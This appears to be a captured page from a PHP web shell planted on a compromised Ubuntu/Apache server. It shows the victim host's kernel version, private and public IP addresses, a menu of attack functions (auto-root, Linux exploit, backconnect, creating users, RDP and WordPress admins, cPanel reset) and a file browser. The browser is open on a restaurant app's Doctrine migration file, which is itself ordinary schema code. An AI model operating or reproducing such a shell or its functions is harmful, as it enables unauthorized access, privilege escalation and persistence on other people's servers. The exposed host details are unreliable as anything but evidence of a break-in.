Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.147.61.19
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
restaurants /
src /
Migrations /
[ HOME SHELL ]
Name
Size
Permission
Action
.gitignore
0
B
-rw-rw-r--
Version20190220131934.php
1.39
KB
-rw-rw-r--
Version20190220180154.php
4.33
KB
-rw-rw-r--
Version20190221163610.php
1.44
KB
-rw-rw-r--
Version20190221163942.php
1.44
KB
-rw-rw-r--
Version20190223113208.php
1.19
KB
-rw-rw-r--
Version20190225074136.php
1.43
KB
-rw-rw-r--
Version20190304220524.php
1.16
KB
-rw-rw-r--
Version20190313161914.php
1.19
KB
-rw-rw-r--
Version20190314142119.php
1.03
KB
-rw-rw-r--
Version20190314144540.php
1.03
KB
-rw-rw-r--
Version20190320145842.php
1.08
KB
-rw-rw-r--
Version20190322090002.php
1.61
KB
-rw-rw-r--
Version20190402152639.php
2.07
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Version20190220180154.php
<?php declare(strict_types=1); namespace App\Migrations; use Doctrine\DBAL\Schema\Schema; use Doctrine\Migrations\AbstractMigration; /** * Auto-generated Migration: Please modify to your needs! */ final class Version20190220180154 extends AbstractMigration { public function getDescription() : string { return ''; } public function up(Schema $schema) : void { // this up() migration is auto-generated, please modify it to your needs $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.'); $this->addSql('CREATE TABLE supplier (id INT AUTO_INCREMENT NOT NULL, name VARCHAR(255) NOT NULL, address VARCHAR(255) DEFAULT NULL, telephone BIGINT DEFAULT NULL, email VARCHAR(255) DEFAULT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE inventory (id INT AUTO_INCREMENT NOT NULL, item_id INT NOT NULL, quantity BIGINT NOT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE supply_item (id INT AUTO_INCREMENT NOT NULL, stock INT NOT NULL, supply_id INT NOT NULL, quantity INT DEFAULT NULL, amount DOUBLE PRECISION DEFAULT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE groups (id INT AUTO_INCREMENT NOT NULL, name VARCHAR(255) NOT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE item_part (id INT AUTO_INCREMENT NOT NULL, item_id INT NOT NULL, stock_id INT NOT NULL, portion DOUBLE PRECISION NOT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE order_item (id INT AUTO_INCREMENT NOT NULL, item_id INT NOT NULL, order_id INT NOT NULL, discount DOUBLE PRECISION DEFAULT NULL, quantity INT NOT NULL, price DOUBLE PRECISION NOT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE orders (id INT AUTO_INCREMENT NOT NULL, customer INT DEFAULT NULL, date DATETIME NOT NULL, modified DATETIME DEFAULT NULL, amount DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT NULL, status VARCHAR(255) DEFAULT NULL, payment VARCHAR(255) DEFAULT NULL, comment VARCHAR(255) DEFAULT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE supply (id INT AUTO_INCREMENT NOT NULL, date DATETIME NOT NULL, name VARCHAR(255) DEFAULT NULL, supplier INT NOT NULL, total DOUBLE PRECISION NOT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE item (id INT AUTO_INCREMENT NOT NULL, name VARCHAR(255) NOT NULL, sellingPrice DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION NOT NULL, c_id INT NOT NULL, img VARCHAR(255) DEFAULT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); $this->addSql('CREATE TABLE stock (id INT AUTO_INCREMENT NOT NULL, name VARCHAR(255) NOT NULL, quantity DOUBLE PRECISION NOT NULL, user_id INT DEFAULT NULL, PRIMARY KEY(id)) DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci ENGINE = InnoDB'); } public function down(Schema $schema) : void { // this down() migration is auto-generated, please modify it to your needs $this->abortIf($this->connection->getDatabasePlatform()->getName() !== 'mysql', 'Migration can only be executed safely on \'mysql\'.'); $this->addSql('DROP TABLE supplier'); $this->addSql('DROP TABLE inventory'); $this->addSql('DROP TABLE supply_item'); $this->addSql('DROP TABLE groups'); $this->addSql('DROP TABLE item_part'); $this->addSql('DROP TABLE order_item'); $this->addSql('DROP TABLE orders'); $this->addSql('DROP TABLE supply'); $this->addSql('DROP TABLE item'); $this->addSql('DROP TABLE stock'); } }
Close